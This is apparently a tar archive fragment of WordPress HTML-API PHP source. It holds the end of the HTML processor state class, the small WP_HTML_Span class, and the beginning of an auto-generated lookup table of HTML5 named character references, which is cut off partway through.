	 * @see https://html.spec.whatwg.org/#parsing-main-inrow
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_ROW = 'insertion-mode-in-row';

	/**
	 * In cell insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incell
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_CELL = 'insertion-mode-in-cell';

	/**
	 * In select insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselect
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_SELECT = 'insertion-mode-in-select';

	/**
	 * In select in table insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_SELECT_IN_TABLE = 'insertion-mode-in-select-in-table';

	/**
	 * In template insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TEMPLATE = 'insertion-mode-in-template';

	/**
	 * After body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_BODY = 'insertion-mode-after-body';

	/**
	 * In frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_FRAMESET = 'insertion-mode-in-frameset';

	/**
	 * After frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_FRAMESET = 'insertion-mode-after-frameset';

	/**
	 * After after body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_AFTER_BODY = 'insertion-mode-after-after-body';

	/**
	 * After after frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_AFTER_FRAMESET = 'insertion-mode-after-after-frameset';

	/**
	 * The stack of template insertion modes.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-insertion-mode:stack-of-template-insertion-modes
	 *
	 * @var array<string>
	 */
	public $stack_of_template_insertion_modes = array();

	/**
	 * Tracks open elements while scanning HTML.
	 *
	 * This property is initialized in the constructor and never null.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @var WP_HTML_Open_Elements
	 */
	public $stack_of_open_elements;

	/**
	 * Tracks open formatting elements, used to handle mis-nested formatting element tags.
	 *
	 * This property is initialized in the constructor and never null.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
	 *
	 * @var WP_HTML_Active_Formatting_Elements
	 */
	public $active_formatting_elements;

	/**
	 * Refers to the currently-matched tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token|null
	 */
	public $current_token = null;

	/**
	 * Tree construction insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insertion-mode
	 *
	 * @var string
	 */
	public $insertion_mode = self::INSERTION_MODE_INITIAL;

	/**
	 * Context node initializing fragment parser, if created as a fragment parser.
	 *
	 * @since 6.4.0
	 * @deprecated 6.8.0 WP_HTML_Processor tracks the context_node internally.
	 *
	 * @var null
	 */
	public $context_node = null;

	/**
	 * The recognized encoding of the input byte stream.
	 *
	 * > The stream of code points that comprises the input to the tokenization
	 * > stage will be initially seen by the user agent as a stream of bytes
	 * > (typically coming over the network or from the local file system).
	 * > The bytes encode the actual characters according to a particular character
	 * > encoding, which the user agent uses to decode the bytes into characters.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $encoding = null;

	/**
	 * The parser's confidence in the input encoding.
	 *
	 * > When the HTML parser is decoding an input byte stream, it uses a character
	 * > encoding and a confidence. The confidence is either tentative, certain, or
	 * > irrelevant. The encoding used, and whether the confidence in that encoding
	 * > is tentative or certain, is used during the parsing to determine whether to
	 * > change the encoding. If no encoding is necessary, e.g. because the parser is
	 * > operating on a Unicode stream and doesn't have to use a character encoding
	 * > at all, then the confidence is irrelevant.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $encoding_confidence = 'tentative';

	/**
	 * HEAD element pointer.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#head-element-pointer
	 *
	 * @var WP_HTML_Token|null
	 */
	public $head_element = null;

	/**
	 * FORM element pointer.
	 *
	 * > points to the last form element that was opened and whose end tag has
	 * > not yet been seen. It is used to make form controls associate with
	 * > forms in the face of dramatically bad markup, for historical reasons.
	 * > It is ignored inside template elements.
	 *
	 * @todo This may be invalidated by a seek operation.
	 *
	 * @see https://html.spec.whatwg.org/#form-element-pointer
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Token|null
	 */
	public $form_element = null;

	/**
	 * The frameset-ok flag indicates if a `FRAMESET` element is allowed in the current state.
	 *
	 * > The frameset-ok flag is set to "ok" when the parser is created. It is set to "not ok" after certain tokens are seen.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#frameset-ok-flag
	 *
	 * @var bool
	 */
	public $frameset_ok = true;

	/**
	 * Constructor - creates a new and empty state value.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor
	 */
	public function __construct() {
		$this->stack_of_open_elements     = new WP_HTML_Open_Elements();
		$this->active_formatting_elements = new WP_HTML_Active_Formatting_Elements();
	}
}
class-wp-html-span.php000066600000002113152442706010010711 0ustar00<?php
/**
 * HTML API: WP_HTML_Span class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor to represent a textual span
 * inside an HTML document.
 *
 * This is a two-tuple in disguise, used to avoid the memory overhead
 * involved in using an array for the same purpose.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely align with `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Span {
	/**
	 * Byte offset into document where span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of this span.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int $start  Byte offset into document where replacement span begins.
	 * @param int $length Byte length of span.
	 */
	public function __construct( int $start, int $length ) {
		$this->start  = $start;
		$this->length = $length;
	}
}
html5-named-character-references.php000066600000234443152442706010013460 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
